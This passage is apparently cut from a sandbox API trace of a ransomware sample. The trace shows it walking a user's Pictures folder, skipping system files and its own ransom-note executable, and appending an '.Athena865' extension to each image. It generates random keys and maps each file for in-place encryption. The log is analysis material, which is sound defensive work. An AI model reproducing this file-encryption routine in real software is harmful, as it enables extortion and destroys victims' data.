CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.672] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.672] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.672] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.673] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.673] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.673] CloseHandle (hObject=0x154) returned 1 [0051.673] CloseHandle (hObject=0x17c) returned 1 [0051.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.675] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91593f50, ftCreationTime.dwHighDateTime=0x1d4c5fd, ftLastAccessTime.dwLowDateTime=0xace7e560, ftLastAccessTime.dwHighDateTime=0x1d4d065, ftLastWriteTime.dwLowDateTime=0xace7e560, ftLastWriteTime.dwHighDateTime=0x1d4d065, nFileSizeHigh=0x0, nFileSizeLow=0xd639, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="JWjQ.gif", cAlternateFileName="")) returned 1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2=".") returned 1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="..") returned 1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="windows") returned -1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="bootmgr") returned 1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="temp") returned -1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="pagefile.sys") returned -1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="boot") returned 1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="ids.txt") returned 1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="ntuser.dat") returned -1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="perflogs") returned -1 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2="MSBuild") returned -1 [0051.675] lstrlenW (lpString="JWjQ.gif") returned 8 [0051.675] lstrcpyW (in: lpString1=0x241e8b8, lpString2="JWjQ.gif" | out: lpString1="JWjQ.gif") returned="JWjQ.gif" [0051.675] lstrlenW (lpString="JWjQ.gif") returned 8 [0051.675] lstrlenW (lpString="Athena865") returned 9 [0051.675] lstrlenW (lpString=".dll") returned 4 [0051.675] lstrcmpiW (lpString1="JWjQ.gif", lpString2=".dll") returned 1 [0051.676] lstrlenW (lpString=".lnk") returned 4 [0051.676] lstrcmpiW (lpString1="JWjQ.gif", lpString2=".lnk") returned 1 [0051.676] lstrlenW (lpString=".ini") returned 4 [0051.676] lstrcmpiW (lpString1="JWjQ.gif", lpString2=".ini") returned 1 [0051.676] lstrlenW (lpString=".sys") returned 4 [0051.676] lstrcmpiW (lpString1="JWjQ.gif", lpString2=".sys") returned 1 [0051.676] lstrlenW (lpString="JWjQ.gif") returned 8 [0051.676] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\JWjQ.gif.Athena865") returned 74 [0051.676] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\JWjQ.gif" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\jwjq.gif"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\JWjQ.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\jwjq.gif.athena865"), dwFlags=0x1) returned 1 [0051.676] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\JWjQ.gif.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\jwjq.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.677] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=54841) returned 1 [0051.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.677] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.677] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.678] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.678] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.678] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd940, lpName=0x0) returned 0x154 [0051.678] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd940) returned 0x100000 [0051.680] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.681] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.681] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.681] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.681] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.682] CloseHandle (hObject=0x154) returned 1 [0051.682] CloseHandle (hObject=0x17c) returned 1 [0051.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.683] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b75500, ftCreationTime.dwHighDateTime=0x1d4c63e, ftLastAccessTime.dwLowDateTime=0x5c791be0, ftLastAccessTime.dwHighDateTime=0x1d4c77c, ftLastWriteTime.dwLowDateTime=0x5c791be0, ftLastWriteTime.dwHighDateTime=0x1d4c77c, nFileSizeHigh=0x0, nFileSizeLow=0x7ada, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K644ujQtjWQA.jpg", cAlternateFileName="K644UJ~1.JPG")) returned 1 [0051.683] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.683] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.683] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2=".") returned 1 [0051.683] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="..") returned 1 [0051.683] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="windows") returned -1 [0051.683] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="bootmgr") returned 1 [0051.683] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="temp") returned -1 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="pagefile.sys") returned -1 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="boot") returned 1 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="ids.txt") returned 1 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="ntuser.dat") returned -1 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="perflogs") returned -1 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2="MSBuild") returned -1 [0051.684] lstrlenW (lpString="K644ujQtjWQA.jpg") returned 16 [0051.684] lstrcpyW (in: lpString1=0x241e8b8, lpString2="K644ujQtjWQA.jpg" | out: lpString1="K644ujQtjWQA.jpg") returned="K644ujQtjWQA.jpg" [0051.684] lstrlenW (lpString="K644ujQtjWQA.jpg") returned 16 [0051.684] lstrlenW (lpString="Athena865") returned 9 [0051.684] lstrcmpiW (lpString1="tjWQA.jpg", lpString2="Athena865") returned 1 [0051.684] lstrlenW (lpString=".dll") returned 4 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2=".dll") returned 1 [0051.684] lstrlenW (lpString=".lnk") returned 4 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2=".lnk") returned 1 [0051.684] lstrlenW (lpString=".ini") returned 4 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2=".ini") returned 1 [0051.684] lstrlenW (lpString=".sys") returned 4 [0051.684] lstrcmpiW (lpString1="K644ujQtjWQA.jpg", lpString2=".sys") returned 1 [0051.684] lstrlenW (lpString="K644ujQtjWQA.jpg") returned 16 [0051.684] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\K644ujQtjWQA.jpg.Athena865") returned 82 [0051.684] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\K644ujQtjWQA.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\k644ujqtjwqa.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\K644ujQtjWQA.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\k644ujqtjwqa.jpg.athena865"), dwFlags=0x1) returned 1 [0051.685] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\K644ujQtjWQA.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\k644ujqtjwqa.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.685] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31450) returned 1 [0051.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.685] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.685] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.686] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.686] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.686] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7de0, lpName=0x0) returned 0x154 [0051.686] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7de0) returned 0x100000 [0051.688] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.688] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.688] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.688] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.688] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.689] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.689] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.689] CloseHandle (hObject=0x154) returned 1 [0051.689] CloseHandle (hObject=0x17c) returned 1 [0051.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.691] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91a3090, ftCreationTime.dwHighDateTime=0x1d4c741, ftLastAccessTime.dwLowDateTime=0x57437550, ftLastAccessTime.dwHighDateTime=0x1d4cba8, ftLastWriteTime.dwLowDateTime=0x57437550, ftLastWriteTime.dwHighDateTime=0x1d4cba8, nFileSizeHigh=0x0, nFileSizeLow=0x46a5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="M560XL.jpg", cAlternateFileName="")) returned 1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2=".") returned 1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="..") returned 1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="windows") returned -1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="bootmgr") returned 1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="temp") returned -1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="pagefile.sys") returned -1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="boot") returned 1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="ids.txt") returned 1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="ntuser.dat") returned -1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="perflogs") returned -1 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2="MSBuild") returned -1 [0051.691] lstrlenW (lpString="M560XL.jpg") returned 10 [0051.691] lstrcpyW (in: lpString1=0x241e8b8, lpString2="M560XL.jpg" | out: lpString1="M560XL.jpg") returned="M560XL.jpg" [0051.691] lstrlenW (lpString="M560XL.jpg") returned 10 [0051.691] lstrlenW (lpString="Athena865") returned 9 [0051.691] lstrcmpiW (lpString1="560XL.jpg", lpString2="Athena865") returned -1 [0051.691] lstrlenW (lpString=".dll") returned 4 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2=".dll") returned 1 [0051.691] lstrlenW (lpString=".lnk") returned 4 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2=".lnk") returned 1 [0051.691] lstrlenW (lpString=".ini") returned 4 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2=".ini") returned 1 [0051.691] lstrlenW (lpString=".sys") returned 4 [0051.691] lstrcmpiW (lpString1="M560XL.jpg", lpString2=".sys") returned 1 [0051.691] lstrlenW (lpString="M560XL.jpg") returned 10 [0051.692] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\M560XL.jpg.Athena865") returned 76 [0051.692] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\M560XL.jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\m560xl.jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\M560XL.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\m560xl.jpg.athena865"), dwFlags=0x1) returned 1 [0051.692] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\M560XL.jpg.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\m560xl.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.692] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18085) returned 1 [0051.692] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0051.693] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0051.694] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0051.694] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.694] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x49b0, lpName=0x0) returned 0x154 [0051.694] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x49b0) returned 0x100000 [0051.695] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0051.695] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0051.695] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0051.695] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0051.695] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0051.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5280e8 [0051.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0051.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5280e8 | out: hHeap=0x4f0000) returned 1 [0051.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0051.696] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ab00 [0051.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0051.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0051.696] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0051.696] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0051.696] CloseHandle (hObject=0x154) returned 1 [0051.696] CloseHandle (hObject=0x17c) returned 1 [0051.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0051.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0051.697] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0051.698] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfbbbe50, ftCreationTime.dwHighDateTime=0x1d4d091, ftLastAccessTime.dwLowDateTime=0x647f64f0, ftLastAccessTime.dwHighDateTime=0x1d4c73d, ftLastWriteTime.dwLowDateTime=0x647f64f0, ftLastWriteTime.dwHighDateTime=0x1d4c73d, nFileSizeHigh=0x0, nFileSizeLow=0xea7d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="mJDFYAWcq6yDy.png", cAlternateFileName="MJDFYA~1.PNG")) returned 1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2=".") returned 1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="..") returned 1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="windows") returned -1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="bootmgr") returned 1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="temp") returned -1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="pagefile.sys") returned -1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="boot") returned 1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="ids.txt") returned 1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="ntuser.dat") returned -1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="perflogs") returned -1 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2="MSBuild") returned -1 [0051.698] lstrlenW (lpString="mJDFYAWcq6yDy.png") returned 17 [0051.698] lstrcpyW (in: lpString1=0x241e8b8, lpString2="mJDFYAWcq6yDy.png" | out: lpString1="mJDFYAWcq6yDy.png") returned="mJDFYAWcq6yDy.png" [0051.698] lstrlenW (lpString="mJDFYAWcq6yDy.png") returned 17 [0051.698] lstrlenW (lpString="Athena865") returned 9 [0051.698] lstrcmpiW (lpString1="q6yDy.png", lpString2="Athena865") returned 1 [0051.698] lstrlenW (lpString=".dll") returned 4 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2=".dll") returned 1 [0051.698] lstrlenW (lpString=".lnk") returned 4 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2=".lnk") returned 1 [0051.698] lstrlenW (lpString=".ini") returned 4 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2=".ini") returned 1 [0051.698] lstrlenW (lpString=".sys") returned 4 [0051.698] lstrcmpiW (lpString1="mJDFYAWcq6yDy.png", lpString2=".sys") returned 1 [0051.698] lstrlenW (lpString="mJDFYAWcq6yDy.png") returned 17 [0051.698] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\mJDFYAWcq6yDy.png.Athena865") returned 83 [0051.699] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\mJDFYAWcq6yDy.png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\mjdfyawcq6ydy.png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\mJDFYAWcq6yDy.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\mjdfyawcq6ydy.png.athena865"), dwFlags=0x1) returned 1 [0051.699] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Pictures\\mJDFYAWcq6yDy.png.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\pictures\\mjdfyawcq6ydy.png.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0051.699] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=60029) returned 1 [0051.699] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0051.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0051.700] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 